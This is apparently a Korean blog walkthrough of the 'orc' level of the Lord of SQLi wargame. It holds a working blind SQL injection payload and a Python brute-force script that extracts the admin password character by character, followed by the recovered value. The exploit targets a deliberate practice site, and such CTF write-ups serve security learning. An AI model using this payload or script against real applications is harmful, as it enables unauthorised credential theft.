1. 문제 지문
2. 요약
- 일부 문자 필터링
- 입력벡터는 pw
- 다 필요 없고, DB의 결과와 입력한 pw가 같을 경우 풀림
- Blind SQL 인젝션
- length, substr 함수 필요
3. 풀이
Blind SQL 인젝션을 사용해야 하는 느낌이 온다.
정확한 패스워드를 찾아서 입력해야만 풀리는 문제이다.
입력한 패스워드와 DB의 패스워드가 완전 일치한지 검증하는 코드가 있기 때문이다.
주어진 쿼리
select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'
패스워드 길이 파악
사용하는 함수로는 length 함수가 있다.
length(pw)=[패스워드 길이]를 사용하여 1부터 하나씩 늘려가며 참과 거짓 여부를 파악해본다.
패스워드 길이는 8로 밝혀졌다.
이제 패스워드를 추측하면 된다.
패스워드 추측
자동화 소스코드
#!/usr/bin/python
#-*-coding:utf-8 -*-
# Blind SQL Injection 문자 찾기!!
import urllib,urllib2,requests
password=""
for j in range(1,9): # 1~8자리 패스워드를 찾아야함
print "%d" %j # 현재 몇번째 인지 표시
for i in range(48,128): # 대부분의 글자들 다 찾아내기
try: # 시작!
url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=-1' or id='admin' and substr(pw," + str(j) + ",1)='" + chr(i)
r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
print str(j)+"번째 찾는 중 : "+chr(i) # 대략적인 현재 위치를 확인하기 위함, 없어도 되는 코드
except: # 예외는 반드시!
print "Error"
continue
if 'Hello admin' in r.text: # 글자를 찾았을 경우!
password = password + chr(i)
print "[+]Password : " + password
break
대부분 주석으로 남김
이 코드를 실행한 결과
최종 비밀번호가 295D5844라고 표시되었다.
이제 이것을 pw파라미터로 넘겨주게 되면
Hello admin만 나오고 클리어 되었다고는 나오질 않는다.
MySQL에서는 기본적으로 대소문자 구분을 따로 하질 않아서 D든 d든 둘 다 같다고 반환하기 때문이라고 한다.
D를 d로 소문자로만 바꿔주고 인증ㄱㄱ
클리어
'Web > LOS' 카테고리의 다른 글
| LOS 풀이 - (06) darkelf (0) | 2019.07.09 |
|---|---|
| LOS 풀이 - (05) wolfman (0) | 2019.07.09 |
| LOS 풀이 - (03) Goblin (0) | 2019.07.09 |
| LOS 풀이 - (02) Cobolt (0) | 2019.06.29 |
| LOS 풀이 - (01) Gremlin (0) | 2019.06.29 |
LOS - (04) orc.py